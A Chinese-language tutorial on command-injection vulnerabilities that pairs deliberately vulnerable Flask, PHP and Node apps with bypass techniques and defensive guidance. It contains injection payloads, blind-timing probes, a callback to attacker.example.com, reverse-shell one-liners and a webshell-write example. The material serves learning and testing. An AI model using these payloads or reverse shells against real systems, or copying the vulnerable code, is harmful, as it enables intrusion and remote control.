当前位置: 首页 > news >正文

命令注入(Command Injection)漏洞学习笔记

1. 基础注入语法与原理(;, &&, |, ||, & 等)

当应用把未经信任的数据拼接给 shell(例如通过 sh -c "do something " + user"system())时,shell 会把输入作为一条命令行进行词法解析;元字符 ; 表示语句终结并执行下一条,&& 在前一条成功时执行下一条,| 创建管道等。攻击者利用这些符号把额外命令附加到合法命令之后,从而在服务器上执行任意命令。关键不是字符本身,而是 shell 对这些字符的解释地位(它们是控制运算符而非文字字符),只要输入被 shell 解释,这些符号就危险。

常见绕过与示例

若开发者对 ; 做了黑名单过滤,攻击者可能使用命令替换(`...` / $())或换行、&、管道等等来达成目的。因此正确策略不是黑名单单字符,而是禁止把不可信数据走进会被 shell 重新解析的路径。下面是最基础的例子(危险示例 — 切勿在生产执行,用于学习):

Python 危险后端(Flask)示例

# app_danger.py (危险用法,仅用于学习/测试)
from flask import Flask, request
import os
app = Flask(__name__)@app.route("/ping")
def ping():host = request.args.get("host", "")# 危险:把用户输入拼入 shell 命令return os.popen("ping -c 1 " + host).read()

如果 host=127.0.0.1; id,返回会包含 id 的输出。替代做法在后文第三部分详述。

测试用例(本地测试)

在本地 VM 启动上述 Flask(仅在 dev 环境),然后用 curl:

curl 'http://127.0.0.1:5000/ping?host=127.0.0.1;id'

你会看到 id 输出(如果后端没有过滤)。这就是最原始的命令注入演示。


2. 命令替换(反引号 / $())与其危险性

概念

命令替换是 shell 的一项功能:`cmd`$(cmd) 会先执行 cmd,然后把 cmd 的标准输出插回原处。若应用在一个被 shell 解析的上下文中接受用户输入,那么即使用户看起来只是提供“参数”,命令替换也会先行执行,从而达成注入。

示例与绕过

许多开发者会尝试过滤 ;&&,但忽略了反引号或 $()。例如,假设后端把用户输入放入双引号中 sh -c "do something $input",若 input 包含 $(id),该命令将先运行 id 并替换为结果,即发生注入。

PHP 示例

// dangerous.php
$arg = $_GET['arg'];
$out = shell_exec("echo \"$arg\"");
echo $out;

arg=$(whoami),实际执行会先取 whoami 的结果再 echo。
避免办法见下文防御章节。


3. 文件名扩展(globbing)与 IFS(word splitting)技巧

为什么重要

命令行解析不仅仅是控制字符,还包括路径扩展(比如 * 会展开成匹配的文件列表)和基于 IFS 的单词拆分(一个扩展的结果会根据 IFS 拆分为多个 argv)。攻击者利用这些语义制造意外参数或将单个参数拆成多个部分。

例如,如果用户输入 $(echo "a b"),在没有适当引号保护的上下文中,扩展后会被拆成两个单词 ab,从而改变程序参数结构。

测试示例(实验)

在受控系统:

# 在 /tmp 下创建文件 a b
touch "/tmp/a"
touch "/tmp/b"
# 假设后端执行:ls /tmp/$user_input
# 如果 user_input='*',ls 会列出 a b

这证明了 globbing 会改变参数含义。


4. Windows 特有语法(&、|、||、cmd /c、powershell)

关键点

Windows shell(cmd.exepowershell.exe)的控制符与 Unix shell 不同:& 用于串行命令,|| 条件执行等。

示例(Windows、PowerShell)

如果后端在 Windows 上以 cmd.exe /c "somecmd " + user 执行,用户可以传入 & whoami 来追加命令。PowerShell 则有更强大的替换与表达式语法,防护复杂度更高。


5. 盲注(无法直接获得命令输出时的检测方法)

原理

当应用不会把命令执行的结果直接返回(或输出被过滤),仍可以通过时间盲注或带外通信(DNS/HTTP 回连)检测注入是否成立。时间盲注常见于 sleep/ping -c 等命令可造成响应延迟的环境。带外回连则是让目标系统自己向攻击者控制的服务器发起请求(极大地证明了远程命令执行能力)。

时间盲注示例(Linux)

假设后端执行 ping -c 1 $host 且不返回命令输出,但会明显延迟响应:

# 测试 input
host=127.0.0.1; sleep 5
# 如果响应延迟 5 秒,说明命令被执行

更稳健的测试是使用 timeoutsleep 并测量响应时间。

带外回连示例(DNS/HTTP)

让目标执行 curl http://attacker.example.com/pnslookup attacker.example.com,若你在 attacker.example.com 上运行监听器(合法授权下),收到请求即证明注入可达。


6. 绕过过滤:编码、转义、双重编码与替代语法

原理

许多防护只做了表面过滤(比如搜 ;&&),实际可被多种方法绕过:URL encode、Unicode encode、双重编码、替换为功能相同的运算符、使用环境变量或文件中转。关键是:如果任何一层(web 服务器、后端语言、shell)中有“解码/转义”的行为,攻击者可以通过多层编码来绕过上层的过滤。

举例说明:某 WAF 过滤 %3B; 的 URL encoding),但应用在内部会对输入进行 URL decode 两次,攻击者可以传 %253B(双编码),在两次解码后变成 %3B 再变成 ;

测试策略

  • 针对每个可疑点尝试多种编码(URL encode、base64 转换并在 shell 中解码、hex 等)。
  • 在后端中间件多层解码的情况下,测试双重编码。
  • 使用替代字符:在 Windows 与 POSIX 下测试不同的分隔符或转义符(例如 ^ 在 cmd 中能转义)。

7. 常见语言/框架的“危险 API”与安全模式(丰富代码示例)

下面分语言举例:每个语言先给“危险模式”,再给“安全替代”,并解释底层行为。

Python

危险:os.system, os.popen, subprocess.run(..., shell=True)。这些都会把字符串送给 shell 解析(sh -c)。
安全:

# safe_python.py
import subprocessdef run(cmd_name, arg):# 参数化接口,避免 shell 解析proc = subprocess.run([cmd_name, arg], capture_output=True, text=True, shell=False)return proc.stdout

如果必须使用 shell(例如需要管道)则严格校验参数并调整执行用户环境(最小权限)。

Node.js

危险:child_process.exec(cmd)(走 shell)
安全:

// safe_node.js
const { spawn } = require('child_process');
function run(dir) {const ls = spawn('ls', [dir]);// 处理 stdout/stderr
}

PHP

危险:system, exec, shell_exec
安全:

// safe_php.php
$cmd = 'convert';
$arg = escapeshellarg($user_input); // 仅当确实需要 shell 时,结合白名单
$full = $cmd . ' ' . $arg;
$output = shell_exec($full);

说明:使用 escapeshellarg 可以防止很多简单注入,但并非万能,必须结合严格白名单或直接调用底层过程控制函数(proc_open with careful args)更安全。

Java

危险:Runtime.getRuntime().exec(String)(传字符串会走 shell)
安全:以字符串数组形式调用 exec(String[] cmdarray) 或使用第三方库将参数分离。


8. 反弹 shell、持久化技术(为什么要谨慎阅读这些内容)

反弹 shell 技术(比如 nc -ebash -i >& /dev/tcp/attacker/4444 0>&1)对渗透测试非常有用,但也高度危险。这里我说明原理与变种供防御者理解,不列出一键可执行的完整链(避免滥用):

  • 原理:利用系统上存在的网络可用工具(nc、bash、python、perl)在目标机器上启动一个交互 shell,并把标准输入/输出重定向到攻击者可达的端点。
  • 防御重点:限制出站网络(egress),关闭或限制危险工具(在生产镜像中移除 nccurlpython 等),使用最小权限容器并对可执行文件做白名单。

你在测试时可以把“反弹”替换为“向自己控制的日志接口回连”来证明命令执行点,而不要在未授权环境内启动真正的远程 shell。


9. 测试用例

示例:自动化 Python 测试骨架(pytest)

下面给出一个最小的测试框架思路:

  1. 启动受控 Flask 应用(危险版本)在临时容器中。
  2. 使用 pytest 发起 HTTP 请求并判断输出或响应时间。
  3. 将 payload 列表作为参数化输入。
# test_cmdinj.py (示例)
import subprocess, time, requests, pytest@pytest.fixture(scope='module')
def start_app():# 假设有一个 Dockerfile 会启动 app_danger.pysubprocess.run(["docker", "build", "-t", "cmdinj_test", "."])container = subprocess.run(["docker", "run", "-d", "-p", "5000:5000", "cmdinj_test"], capture_output=True, text=True)cid = container.stdout.strip()time.sleep(1)  # wait for appyieldsubprocess.run(["docker", "rm", "-f", cid])@pytest.mark.parametrize("payload, expect_delay", [("127.0.0.1; sleep 2", 2),("127.0.0.1 && echo hello", 0),
])
def test_timeblind(start_app, payload, expect_delay):t0 = time.time()r = requests.get("http://127.0.0.1:5000/ping", params={"host": payload})t1 = time.time()assert (t1 - t0) >= expect_delay

10. 常见的 payload 类型

基础控制运算符类(;&&|

原理:切分或条件执行;测试示例如前(Flask ping)。绕过防护:使用 $() 或反引号,不要只过滤单一字符。

命令替换($() / `...`

原理:先执行替换块再代入命令行;绕过:如果 $(...) 被过滤,可以尝试反引号或嵌套替换;测试示例:

# 使用 /bin/sh -c "echo USER=$(whoami)"

文件写入与横向移动(使用重定向 >

原理:通过 > 把内容写进 /tmp 下的 web 可访问目录来植入 webshell。防御:尽量让 Web 目录不可写,或者对临时目录权限做限制。测试示例(受控):

# 如果后端允许:; echo 'payload' > /tmp/pwn.php
# 检查 /tmp/pwn.php 内容

(测试时确保 /tmp 是安全目录且在 VM 中测试)

盲注(时间/带外)

已详述。测试示例在上文自动化 pytest 框架提供。

DNS/HTTP 回连

原理:使目标发出网络请求以证明命令执行能力;防御:限制出站、做网络 egress 策略;测试时使用你自己的受控域名或内网 log sink。


11. 防御要点

一句话:消除对 shell 的依赖;无法消除时白名单 + 转义 + 最小权限 + 审计
工程实践(简短说明):把危险 API 列为 SAST 规则并阻断 PR;在服务端把可执行命令替换为参数化接口;对必须传到 shell 的参数做强白名单(格式校验、枚举),并在运行环境中限制 egress、使用容器与只读文件系统、记录每次外部进程启动的上下文与参数作为审计证据。

12. 丰富的测试案例集合

案例 A:最基础 - Flask 演示与自动化测试(包含多种 payload)

项目结构:

cmdinj-lab/Dockerfileapp_danger.pytest_cmdinj.pyrequirements.txt

Dockerfile(用于在容器中启动实验用服务):

FROM python:3.11-slim
WORKDIR /app
COPY app_danger.py /app/app_danger.py
RUN pip install flask
CMD ["python", "/app/app_danger.py"]

app_danger.py

from flask import Flask, request
import os
app = Flask(__name__)@app.route('/ping')
def ping():host = request.args.get('host',"")return os.popen("ping -c 1 " + host).read()if __name__=='__main__':app.run(host='0.0.0.0', port=5000)

test_cmdinj.py(pytest 自动化示例,包含盲注与回显检测):

import requests, time, subprocess, pytest@pytest.fixture(scope='module', autouse=True)
def start_container():subprocess.run(['docker','build','-t','cmdinj_test','.'], check=True)cid = subprocess.check_output(['docker','run','-d','-p','5000:5000','cmdinj_test']).decode().strip()time.sleep(1)yieldsubprocess.run(['docker','rm','-f', cid], check=True)def test_basic_echo():r = requests.get('http://127.0.0.1:5000/ping', params={'host': '127.0.0.1; echo PWNTEST'})assert 'PWNTEST' in r.textdef test_timeblind():start = time.time()requests.get('http://127.0.0.1:5000/ping', params={'host':'127.0.0.1; sleep 2'})assert time.time() - start >= 2

运行方式:

pytest test_cmdinj.py -q

这套实验会验证:1)简单的 ; 注入能回显;2)时间盲注可检测到命令执行延迟。


案例 B:多语言示例合集(PHP / Node / Java)

为便于团队熟悉各种语言的危险点,下面分别给出最小可运行示例(仅用于测试)。

PHP (危险) — web.php

<?php
$cmd = $_GET['cmd'] ?? '';
// Dangerous:
echo shell_exec($cmd);
?>

测试:

curl 'http://127.0.0.1/web.php?cmd=echo%20hello;id'

修复思路:把允许执行的命令枚举到白名单中,或避免 shell_exec

Node (危险) — app.js

const http = require('http');
const { exec } = require('child_process');
http.createServer((req,res) => {const url = new URL(req.url, 'http://127.0.0.1');const cmd = url.searchParams.get('cmd') || '';exec(cmd, (err, stdout, stderr) => {res.end(stdout+stderr);});
}).listen(3000);

替代:使用 spawn 并把参数作为数组传入,或避免执行外部命令。


案例 C:盲注探测脚本(批量测试 payload 列表)

probe_blind.py

import requests, timeURL = "http://127.0.0.1:5000/ping"
payloads = ["127.0.0.1; sleep 2","127.0.0.1 && sleep 2","127.0.0.1$(sleep 2)",]for p in payloads:t0 = time.time()r = requests.get(URL, params={'host': p})dt = time.time() - t0print(f"Payload: {p} -> {dt:.2f}s")

13. 把防御内嵌到开发周期(SAST/DAST/CI)

SAST(静态规则)建议

  • 在仓库中建立规则:禁止 os.system, popen, Runtime.exec(String) 等未审计的使用。Semgrep/CodeQL 都支持自定义规则。
  • 对每次命中强制要求 PR 写明:为什么这是安全(白名单/参数化)或修复计划。

简单 Semgrep 规则示例(伪代码):

rules:- id: avoid-os-systempatterns:- pattern: os.system($X)message: "Avoid os.system with user input; prefer subprocess.run([...], shell=False)"severity: ERROR

DAST(动态检测)

  • 在 QA 环境运行自动化扫描(Burp/自写 fuzzer)

CI 集成

  • 在 PR pipeline 中加入 SAST 阶段;若遇危险 API 阻断合并,或要求 PR 附带安全审计说明。
  • 提交带外部命令更改时,要求安全审计批准(由安全团队或架构团队签字)。

14. 高级绕过/技巧

  1. IFS(Internal Field Separator) 利用

    • 为什么可用:扩展结果基于 IFS 拆分为多个参数,攻击者可借助环境或输入中的 IFS 字符来增加参数或改变边界。
    • 绕过检测:若某层过滤掉空格或 ;,攻击者可通过 $(printf '\t')%0A 等方式注入 IFS。
    • 防御:对输入做严格格式化校验(白名单),在传给 shell 前把用户输入用单引号完全包裹并使用安全 API(尽量不交给 shell)。
  2. 双重解码

    • 为什么可用:多层中间件进行多次 URL decode,会把双重编码的 payload 还原成危险字符。
    • 防御:在最外层统一做一次严格解码与校验,避免在内部进行二次自动解码或明确规定解码行为。
  3. 替代命令/命令链

    • 为什么可用:若黑名单过滤列出某些命令名,攻击者可使用其他等价工具(例如使用 perlpython 来反弹 shell)。
    • 防御:把允许执行的命令列为白名单(严格枚举),并限制可使用的可执行文件集合。
  4. 混合上下文注入(多层转义误区)

    • 情形:应用把输入先写进脚本文件,再 sh script 执行,中间一层转义可能被破坏,导致注入。
    • 防御:避免生成 shell 脚本并执行,或在生成脚本时把所有用户数据用 safe quoting(并拒绝任何可疑字符)。
http://www.dtcms.com/a/394266.html

相关文章:

  • 268-基于Django的热门游戏榜单数据分析系统
  • C++篇 类和对象(2)万能工具怎么用?
  • MySQL 多实例部署与主从、读写分离配置
  • C++初阶(10)string类
  • 高性能开源 Web 服务器软件--Nginx
  • 软考中级习题与解答——第十章_多媒体技术(2)
  • 【字符串】1.最⻓公共前缀(easy)
  • 新闻源发稿平台推荐,企业形象宣传新闻源收录平台
  • 梯度提升框架深度解析:LightGBM、XGBoost 与 CatBoost
  • Win10服务器远程连接断开后.bat脚本进程中断的全面解决方案
  • Java与Vue构建资产设备全周期管理系统,覆盖采购、入库、使用、维护至报废全流程,支持移动端实时操作与后台智能管理,提供完整源码便于二次开发
  • Spring Boot 3 + MyBatis-Plus + SelectDB整合方案
  • xtuoj 0x05-B Colombian Number
  • elasticsearch8.1.0 中聚合功能的执行链路
  • WindowTop:提升工作效率的窗口管理工具
  • 每天新增1000万条订单,如何选择合适的数据库?
  • LLaVA模型学习-周报十四
  • LwIP 1.4.0 移植到 uCOSII 参考
  • 【LeetCode 每日一题】3541. 找到频率最高的元音和辅音
  • Arithmetics Competition(贪心+排序+前缀和)
  • 运维安全07 ,JumpServer(堡垒机)介绍以及使用
  • 数据结构算法学习:LeetCode热题100-双指针篇(移动零、盛水最多的容器、三数之和、接雨水)
  • 2025年ESWA SCI1区TOP,复杂威胁环境下带偏差采样的多无人机路径规划、候选物评估与路径重构问题,深度解析+性能实测
  • SeaTunnel 迁移 MySQL 数据到 Easysearch 之批量导入(Batch)
  • JavaWeb 课堂笔记 —— 19 SpringBootWeb案例 文件上传
  • 《时空回响--时之鳞》的现代意义与2025年的现实映射
  • Qwen3Next注意力机制详解与实现
  • .net 8自包含应用发布在Linux怎么运行
  • 第十七周 学习周报
  • 手眼标定问题总结